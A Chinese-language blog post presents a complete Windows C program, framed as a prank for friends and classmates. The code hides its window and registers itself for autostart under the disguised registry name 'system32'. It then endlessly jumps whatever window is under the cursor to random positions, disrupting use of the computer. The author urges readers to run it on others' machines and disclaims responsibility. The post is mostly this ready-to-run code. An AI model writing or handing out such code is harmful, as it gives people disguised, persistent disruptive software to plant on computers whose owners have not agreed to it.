教你一個C語言+API惡搞小程序,我已經在醫院wifi挺快的

C語言 Wi-Fi Windows 微軟 軟件 膽小的麥迪文 2019-04-18

話不多說,今天給大家介紹兩個好東西,就是利用C語言編寫的兩個惡搞小程序,有多厲害,只有你自己去試試了。

利用C語言+API寫的兩個惡作劇程序,我在這裡說,你的朋友同學試過之後可能就會有某些衝動了。注意安全,找好退路,不要像我一樣被按在角落裡面.........

教你一個C語言+API惡搞小程序,我已經在醫院wifi挺快的


直接上代碼:(本來想貼上GIF圖的,結果轉換出來很模糊~大家拿代碼自己去試試哦!本程序會開機自啟,請先看完視頻,瞭解如何關閉程序再測試)

#include <stdio.h>

#include <time.h>

#include <stdlib.h>

#include <windows.h>


#pragma comment(linker,"/subsystem:"windows" /entry:"mainCRTStartup"")

int main()

{

char path[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";

char exepath[200]; //拿到程序本身的路徑

GetModuleFileName(NULL, exepath, 200);

HKEY hkey; //註冊表結構體

RegOpenKey(HKEY_CURRENT_USER, path, &hkey);

RegSetValueEx(hkey, "system32", 0, REG_SZ, (unsigned char*)exepath, sizeof(exepath));

srand((unsigned int)time(NULL));

HWND hwnd; //定義窗口句柄

RECT rect; //矩形 top bottom left right

POINT pt;//點 x y

while (1)

{

hwnd = GetForegroundWindow();

GetWindowRect(hwnd,&rect); //獲取窗口的矩形

GetCursorPos(&pt); //獲取光標的座標

//鼠標在窗口的矩形裡面

if (pt.x >= rect.left&&pt.x <= rect.right&&

pt.y >= rect.top&&pt.y <= rect.bottom)

{

MoveWindow(hwnd, rand() % (1920 - 480), rand() % (1080 - 460),

480, 460, true);

}

}

return 0;

}

/*****************************

FindWindow();

MoveWindow();

GetForegroundWindow();

******************************/

//printf("1.變羊!!\n");

//printf("2.消失不見!!\n");

//printf("3.幽靈模式\n");

//

//int choise;

//scanf("%d", &choise);

//int width = 480;

//int height = 460;

//switch (choise)

//{

//case 1:

//while (width > 0)

//{

//MoveWindow(hwnd, 800, 100, width -= 10, height -= 10, true);

//}

//break;

//case 2:

//while (width <480)

//{

//MoveWindow(hwnd, 800, 100, width += 10, height += 10, true);

//}

//break;

//case 3:

//MoveWindow(hwnd, 800, 100, 0, 0, true);

//break;

//case 4:

//MoveWindow(hwnd, 800, 100, 480, 460, true);

//break;

//}

出事不要找我,與我無關


學習從來不是一個人的事情,要有個相互監督的夥伴,工作需要學習C/C++或者為了入行、轉行學習C/C++的夥伴可以私信回覆小編“學習”領取全套免費C/C++學習資料、視頻

教你一個C語言+API惡搞小程序,我已經在醫院wifi挺快的


相關推薦

推薦中...